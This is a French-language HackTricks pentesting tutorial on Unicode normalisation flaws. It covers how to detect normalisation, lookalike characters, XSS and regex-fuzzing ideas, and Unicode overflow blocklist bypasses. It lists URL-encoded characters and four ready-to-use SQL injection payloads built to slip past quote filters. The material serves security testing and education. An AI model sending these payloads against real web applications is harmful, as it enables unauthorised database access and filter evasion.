hacktricks/src/pentesting-web/unicode-injection/unicode-normalization.md

# Normalisation Unicode

{{#include ../../banners/hacktricks-training.md}}

**Ceci est un résumé de :** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Consultez pour plus de détails (images prises de là).

## Comprendre Unicode et Normalisation

La normalisation Unicode est un processus qui garantit que différentes représentations binaires de caractères sont standardisées à la même valeur binaire. Ce processus est crucial pour traiter des chaînes dans la programmation et le traitement des données. La norme Unicode définit deux types d'équivalence de caractères :

1. **Équivalence Canonique** : Les caractères sont considérés comme équivalents canoniques s'ils ont la même apparence et signification lorsqu'ils sont imprimés ou affichés.
2. **Équivalence de Compatibilité** : Une forme d'équivalence plus faible où les caractères peuvent représenter le même caractère abstrait mais peuvent être affichés différemment.

Il existe **quatre algorithmes de normalisation Unicode** : NFC, NFD, NFKC et NFKD. Chaque algorithme utilise les techniques de normalisation canonique et de compatibilité de manière différente. Pour une compréhension plus approfondie, vous pouvez explorer ces techniques sur [Unicode.org](https://unicode.org/).

### Points Clés sur l'Encodage Unicode

Comprendre l'encodage Unicode est essentiel, surtout lorsqu'il s'agit de problèmes d'interopérabilité entre différents systèmes ou langues. Voici les points principaux :

- **Points de Code et Caractères** : Dans Unicode, chaque caractère ou symbole est assigné à une valeur numérique connue sous le nom de "point de code".
- **Représentation en Octets** : Le point de code (ou caractère) est représenté par un ou plusieurs octets en mémoire. Par exemple, les caractères LATIN-1 (courants dans les pays anglophones) sont représentés en utilisant un octet. Cependant, les langues avec un ensemble de caractères plus large nécessitent plus d'octets pour la représentation.
- **Encodage** : Ce terme fait référence à la manière dont les caractères sont transformés en une série d'octets. UTF-8 est une norme d'encodage répandue où les caractères ASCII sont représentés en utilisant un octet, et jusqu'à quatre octets pour d'autres caractères.
- **Traitement des Données** : Les systèmes traitant des données doivent être conscients de l'encodage utilisé pour convertir correctement le flux d'octets en caractères.
- **Variantes de UTF** : En plus de UTF-8, il existe d'autres normes d'encodage comme UTF-16 (utilisant un minimum de 2 octets, jusqu'à 4) et UTF-32 (utilisant 4 octets pour tous les caractères).

Il est crucial de comprendre ces concepts pour gérer efficacement et atténuer les problèmes potentiels découlant de la complexité d'Unicode et de ses diverses méthodes d'encodage.

Un exemple de la façon dont Unicode normalise deux octets différents représentant le même caractère :
```python
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
```
**Une liste de caractères équivalents Unicode peut être trouvée ici :** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) et [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)

### Découverte

Si vous pouvez trouver à l'intérieur d'une application web une valeur qui est renvoyée, vous pourriez essayer d'envoyer **‘KELVIN SIGN’ (U+0212A)** qui **se normalise en "K"** (vous pouvez l'envoyer sous la forme `%e2%84%aa`). **Si un "K" est renvoyé**, alors, une sorte de **normalisation Unicode** est effectuée.

Autre **exemple** : `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` après **unicode** est `Leonishan`.

## **Exemples vulnérables**

### **Contourner le filtre d'injection SQL**

Imaginez une page web qui utilise le caractère `'` pour créer des requêtes SQL avec l'entrée de l'utilisateur. Ce web, comme mesure de sécurité, **supprime** toutes les occurrences du caractère **`'`** de l'entrée de l'utilisateur, mais **après cette suppression** et **avant la création** de la requête, il **normalise** l'entrée de l'utilisateur en utilisant **Unicode**.

Alors, un utilisateur malveillant pourrait insérer un caractère Unicode différent équivalent à `' (0x27)` comme `%ef%bc%87`, lorsque l'entrée est normalisée, un guillemet simple est créé et une **vulnérabilité d'injection SQL** apparaît :

![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)

**Certains caractères Unicode intéressants**

- `o` -- %e1%b4%bc
- `r` -- %e1%b4%bf
- `1` -- %c2%b9
- `=` -- %e2%81%bc
- `/` -- %ef%bc%8f
- `-`-- %ef%b9%a3
- `#`-- %ef%b9%9f
- `*`-- %ef%b9%a1
- `'` -- %ef%bc%87
- `"` -- %ef%bc%82
- `|` -- %ef%bd%9c
```
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f

" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
```
#### modèle sqlmap

{{#ref}}
https://github.com/carlospolop/sqlmap_to_unicode_template
{{#endref}}

### XSS (Cross Site Scripting)

Vous pouvez utiliser l'un des caractères suivants pour tromper l'application web et exploiter un XSS :

![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)

Notez que, par exemple, le premier caractère Unicode proposé peut être envoyé sous la forme : `%e2%89%ae` ou `%u226e`

![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)

### Fuzzing Regexes

Lorsque le backend **vérifie l'entrée utilisateur avec une regex**, il se peut que l'**entrée** soit **normalisée** pour la **regex** mais **pas** pour l'endroit où elle est **utilisée**. Par exemple, dans un Open Redirect ou SSRF, la regex peut **normaliser l'URL envoyée** mais ensuite **y accéder telle quelle**.

L'outil [**recollapse**](https://github.com/0xacb/recollapse) permet de **générer des variations de l'entrée** pour fuzzifier le backend. Pour plus d'infos, consultez le **github** et ce [**post**](https://0xacb.com/2022/11/21/recollapse/).

## Débordement Unicode

D'après ce [blog](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), la valeur maximale d'un octet est 255, si le serveur est vulnérable, un débordement peut être conçu pour produire un caractère ASCII spécifique et inattendu. Par exemple, les caractères suivants seront convertis en `A` :

- 0x4e41
- 0x4f41
- 0x5041
- 0x5141

## Références

- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)

{{#include ../../banners/hacktricks-training.md}}